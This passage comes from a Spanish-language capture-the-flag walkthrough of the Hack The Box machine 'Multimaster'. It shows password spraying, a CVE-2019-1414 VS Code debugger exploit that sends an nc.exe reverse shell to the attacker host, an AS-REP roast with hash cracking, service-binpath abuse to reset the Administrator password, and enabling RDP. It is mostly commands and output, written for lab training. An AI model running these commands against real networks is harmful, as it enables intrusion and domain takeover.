SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\Guest:password1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\Guest:finance1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\krbtgt:banking1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\krbtgt:password1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\krbtgt:finance1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\tushikikatomo:banking1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\tushikikatomo:password1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [+] MEGACORP.LOCAL\tushikikatomo:finance1
¡¡Eureka!! Tenemos unas credenciales validas: tushikikatomo:finance1
.
Shell como el usuario tushikikatomo.
Utilizo evil-winrm para loguearme como el usuario tushikikatomo.
Abusando de Visual Studio Code.
Iré al grano para no hacer el writeup tan largo, si revisamos los procesos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
*Evil-WinRM* PS C:\Users\alcibiades\Documents> Get-process [32/32]
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
284 51 58660 74240 968 1 Code
413 55 96544 104012 3296 1 Code
329 32 40664 35384 3556 1 Code
413 54 96648 135272 4000 1 Code
679 52 34092 82032 4292 1 Code
415 53 94504 68456 4600 1 Code
416 55 97000 135540 4880 1 Code
231 15 6132 5560 5048 1 Code
283 51 58064 33060 5572 1 Code
284 51 57916 54024 5784 1 Code
285 51 57876 74476 5956 1 Code
430 23 15740 11880 6044 1 Code
Vemos que tenemos un visual studio en ejecución.
Rápidamente reviso la versión del visual studio para comenzar a buscar si esta versión esta asociada a alguna vulnerabilidad critica.
1
2
*Evil-WinRM* PS C:\Program Files\Microsoft VS Code\bin> .\code -h [22/22]
Visual Studio Code 1.37.1
Versión: 1.37.1
Hago una busqueda en google y encuentro el siguiente resultado: https://vulmon.com/vulnerabilitydetails?qid=CVE-2019-1414
Descripción: Existe una vulnerabilidad de elevación de privilegios en Visual Studio Code cuando expone un detector de depuración a los usuarios de un equipo local. Un atacante local que aproveche con éxito la vulnerabilidad podría inyectar código arbitrario para que se ejecute en el contexto del usuario actual. Si el usuario actual está conectado con derechos de usuario administrativo, un atacante podría tomar el control del sistema afectado.
Vamos a aprovecharnos de esto para escalar, para ello me descargo el siguiente debug: cefdebug 2.0
Me monto un servidor con samba compartiendo el cefdebug.exe
y nc.exe
para después descargarlos en la máquina.
1
intrusionz3r0@kali:~$ sudo impacket-smbserver smbFolder $(pwd) -smb2support -username fg -password fg
Para poder explotar la vulnerabilidad primero necesitamos encontrar un socket, para ello escaneo la máquina con cefdebug.
1
2
3
4
*Evil-WinRM* PS C:\Temp> .\cefdebug.exe
[2020/08/19 11:58:38:9491] U: There were 2 servers that appear to be CEF debuggers.
[2020/08/19 11:58:38:9491] U: ws://127.0.0.1:32307/f5171393-524a-4435-8c98-14e0feca650e
[2020/08/19 11:58:38:9491] U: ws://127.0.0.1:36810/0fd22c26-a0cb-4cf6-b274-c587d00db411
Después tomo uno de los sockets a la escucha y me envió una reverse shell con el netcat que nos habíamos descargado anteriormente.
1
*Evil-WinRM* PS C:\Temp> ./cefdebug.exe --url ws://127.0.0.1:36810/0fd22c26-a0cb-4cf6-b274-c587d00db411 --code "process.mainModule.require('child_process').exec('cmd.exe /c c:/Temp/nc.exe 10.10.14.7 5544 -e cmd.exe').toString()"
Shell como cyork.
Buscando en las entrañas de una DLL.
Enumerando un poco en la máquina encontramos una dll bastante interesante.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
*Evil-WinRM* PS c:\inetpub\wwwroot\bin>dir
Volume in drive C has no label.
Volume Serial Number is 5E12-F84E
Directory of c:\inetpub\wwwroot\bin
01/07/2020 10:28 PM <DIR> .
01/07/2020 10:28 PM <DIR> ..
02/21/2013 08:13 PM 102,912 Antlr3.Runtime.dll
02/21/2013 08:13 PM 431,616 Antlr3.Runtime.pdb
05/24/2018 01:08 AM 40,080 Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll
07/24/2012 11:18 PM 45,416 Microsoft.Web.Infrastructure.dll
01/09/2020 05:13 AM 13,824 MultimasterAPI.dll
Rápidamente abro IDA
, me importó MultimasterAPI.dll
y comienzo a analizarla a profundidad.
Después de estar buscando entre las entrañas de la dll finalmente encontramos lo que parece ser una contraseña: D3veL0pM3nT!
Ejecutó crackmapexec para averiguar a qué usuario pertenece esa contraseña.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
intrusionz3r0@kali:~$ cme smb multimaster.htb -u users.txt -p D3veL0pM3nT!
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\aldom:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\alyx:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\ckane:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\cyork:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\egre55:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\ilee:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\james:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\jorden:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\kpage:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\minatotw:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\nbourne:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\okent:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\rmartin:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [+] MEGACORP.LOCAL\sbauer:D3veL0pM3nT!
¡¡Eureka!! Encontramos unas credenciales válidas: sbauer:D3veL0pM3nT!
Shell como el usuario sbauer.
Utilizó la herramienta evil-winrm para loguearme con el usuario sbauer.
1
2
3
4
5
6
7
8
9
intrusionz3r0@kali:~$ evil-winrm -i 10.10.10.179 -u sbauer -p D3veL0pM3nT!
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sbauer\Documents> whoami
megacorp\sbauer
*Evil-WinRM* PS C:\Users\sbauer\Documents>
Paso el tiempo hasta que decidí comenzar a enumerar más seriamente el directorio activo con nuestro amigo el perro.
BloodHound.
Monto un servidor con samba compartiendo el SharpHound.exe
mientras que en otra pestaña levantó el bloodhound.
Ejecutó el sharphound.exe
y lo descargo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
*Evil-WinRM* PS C:\Temp> .\SharpHound.exe
-----------------------------------------------
Initializing SharpHound at 9:16 PM on 8/19/2020
-----------------------------------------------
Resolved Collection Methods: Group, Sessions, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container
[+] Creating Schema map for domain MEGACORP.LOCAL using path CN=Schema,CN=Configuration,DC=MEGACORP,DC=LOCAL
[+] Cache File not Found: 0 Objects in cache
[+] Pre-populating Domain Controller SIDS
Status: 0 objects finished (+0) -- Using 19 MB RAM
Status: 94 objects finished (+94 ì)/s -- Using 27 MB RAM
Enumeration finished in 00:00:00.3942144
Compressing data to .\20200819211627_BloodHound.zip
You can upload this file directly to the UI
SharpHound Enumeration Completed at 9:16 PM on 8/19/2020! Happy Graphing!
*Evil-WinRM* PS C:\Temp> download 20200819211627_BloodHound.zip
Info: Downloading C:\Temp\20200819211627_BloodHound.zip to 20200819211627_BloodHound.zip
Info: Download successful!
Después solo arrastramos el .zip
al bloodhound y comenzamos a analizar todo lo que recolecto nuestro sharphound.exe
.
Indagando un poco encontramos que el usuario sbauer tiene permisos GenericWrite sobre el usuario jorden.
Ataque ASREPRoast.
Importamos el modulo de active directory y evitamos que jorden solicite pre-autenticación.
1
2
3
*Evil-WinRM* PS C:\Users\sbauer\Documents> $username = "jorden"
*Evil-WinRM* PS C:\Users\sbauer\Documents> Import-Module activedirectory
*Evil-WinRM* PS C:\Users\sbauer\Documents> Get-ADUser $username | Set-ADAccountControl -doesnotrequirepreauth $true
Después utilizamos la herramienta GetNPUsers.py
para obtener nuestro hash.
1
2
3
4
5
6
7
8
9
10
intrusionz3r0@kali:~$ sudo GetNPUsers.py MEGACORP.local/sbauer:'D3veL0pM3nT!' -dc-ip 10.10.10.179 -request
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
Name MemberOf PasswordLastSet LastLogon UAC
------ -------------------------------------------- -------------------------- --------- --------
jorden CN=Developers,OU=Groups,DC=MEGACORP,DC=LOCAL 2020-01-09 18:48:17.503303 <never> 0x410200
$krb5asrep$23$jorden@MEGACORP.LOCAL:953abf0472fafe61916ce77ac7e6ebc5$984cc9f4b101ba52c0b77334950ed13f88c489efadcd76979d911e4b6dc18cf7439dbf3133d3e9d2f6e3a9f5090cf4c3bd30efebe2da216142793ea7b00be97b12a295ce7a9d1691d3a3680dd38a3cdb18486d657caf6eaae62ca26698c2882f5bd0b2ea354d55c26277106e3dfeb5390860dc5f1ba41b6c2adb44fe07b1d03f161c6085d34538b24228d49bc65c81b79e51fd8599f74f5fb8c8563b02b10da882666506979d287a2cd79c28b9b9ae5f7997517903993d05e3bb7a6c68744f9592ca21cc85c315dc962be07c5391fc1b856a883a42eb408d7e41ace9e61084a63ec89cddbe3ab1bbd44fa85e4b9eb25e
O bien con crackmapexec.
1
intrusionz3r0@kali:~$ cme ldap multimaster.htb -u jorden -p '' --asreproast AR_REP --kdcHost 10.10.10.179
Ahora solo lo crackeamos el hash con nuestro amigo john y verificamos las credenciales con crackmapexec.
1
2
3
4
5
6
7
8
9
intrusionz3r0@kali:~$ john -w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rainforest786 ($krb5asrep$23$jorden@MEGACORP.LOCAL)
1g 0:00:00:23 DONE (2020-08-20 00:03) 0.04170g/s 183544p/s 183544c/s 183544C/s rainian..rainemee
Use the "--show" option to display all of the cracked passwords reliably
Session completed
1
2
3
intrusionz3r0@kali:~$ cme smb multimaster.htb -u jorden -p rainforest786
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.10.10.179 445 MULTIMASTER [+] MEGACORP.LOCAL\jorden:rainforest786
Shell como el usuario jorden.
1
2
3
4
5
6
7
8
9
evil-winrm -i multimaster.htb -u jorden -p 'rainforest786'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jorden\Documents> whoami
megacorp\jorden
*Evil-WinRM* PS C:\Users\jorden\Documents>
Nuevamente comenzamos a enumerar.
Abusando del servicio browser para obtener shell como SYSTEM.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
*Evil-WinRM* PS C:\Users\jorden\Documents> net user jorden
User name jorden
Full Name Jorden Mclean
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/9/2020 5:48:17 PM
Password expires Never
Password changeable 1/10/2020 5:48:17 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Remote Management Use*Server Operators
Global Group memberships *Domain Users *Developers
The command completed successfully.
Podemos observar de que jorden pertenece al grupo de SERVER OPERATORS
, los miembros de este grupo se les permite ejecutar, parar o modificar algunos servicios de la máquina, eso significa que podemos aprovecharnos de un servicio que se ejecute bajo el contexto de SYSTEM para poder ejecutar comandos o bien ejecutar un binario como SYSTEM.
En este caso abusaremos del servicio browser.
1
2
3
4
*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe config browser binpath="C:\Windows\System32\cmd.exe /C net user Administrator HolaA123!!"
*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe qc browser
*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe stop browser
*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe start browser
1
2
3
4
5
6
7
8
intrusionz3r0@kali:~$ evil-winrm -i multimaster.htb -u Administrator -p 'HolaA123!!'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
megacorp\administrator
Escritorio Remoto.
Antes de terminar me gustaría conectarme de manera remota a la máquina, para ello creo una regla de firewall que permita el trafico de entrada y salida por el puerto 3389.
1
2
C:\Windows\system32> netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3389 action=allow
C:\Windows\system32> netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=out localport=3389 action=allow
Después habilitamos el RDP modificando el registro.
1
C:\Windows\system32> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Por ultimo solo utilizamos remmina
para conectarnos vía escritorio remoto.
¡¡Somos Administradores!!
Espero te haya gustado, recuerda seguirme en mis redes sociales para estar al pendiente de todo mi contenido.